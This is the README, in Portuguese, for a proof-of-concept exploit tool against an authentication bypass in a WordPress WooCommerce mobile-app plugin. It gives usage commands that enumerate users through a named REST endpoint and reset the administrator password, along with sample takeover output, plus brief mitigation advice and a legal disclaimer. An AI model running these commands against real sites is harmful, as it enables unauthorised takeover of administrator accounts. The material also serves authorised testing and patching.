WordPress - Hippoo Mobile App for WooCommerce <= 1.9.4 - Bypass de Autenticação para Assunção de Conta de Administrador

Visão Geral

Esta ferramenta é um exploit de prova de conceito para CVE-2026-10580, uma vulnerabilidade de bypass de autenticação que afeta o Hippoo Mobile App for WooCommerce plugin WordPress (versões <= 1.9.4). A vulnerabilidade permite que atacantes não autenticados redefinam a senha de qualquer utilizador, incluindo administradores, levando à tomada total do site.

⚠️ Importante: Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal.

Funcionalidades

• Enumera todos os utilizadores do WordPress através do endpoint vulnerável da API REST
• Redefine a senha para um ID de utilizador especificado (padrão: ID do admin 1)
• Interface simples de linha de comando com saída colorida
• Opção para desativar a verificação SSL para ambientes de teste

Uso

Pré-requisitos

• Python 3.6+
• Biblioteca requests

Instalar dependências:

pip install requests

Comando Básico

python3 exploit.py -t https://target-site.com -p NewPassword123!

Opções

Exemplos

Exploit com ID de admin padrão (1) e verificação SSL:

python3 exploit.py -t https://example.com -p PwnedCVE2026!!

Alvejar um ID de utilizador específico e desativar verificação SSL:

python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

Executar sem o banner:

python3 exploit.py -t https://example.com -p NewPass123 --no-banner

Exemplo de Saída

[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

Mitigação

Se você está usando o plugin Hippoo, atualize imediatamente para uma versão corrigida (>1.9.4). Adicionalmente:

• Audite regularmente as contas de utilizador para alterações não autorizadas
• Monitore os logs para requisições inesperadas à API para /wp-json/wc-hippoo/v1/ext/wp/v2/users
• Considere restringir o acesso à API REST do WordPress se não for necessário

Licença

Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para obter detalhes.

Autor

0xgh057r3c0n

Aviso Legal

O autor não é responsável por qualquer uso indevido desta ferramenta. Use com responsabilidade e apenas em sistemas que você possui ou tem permissão explícita para testar.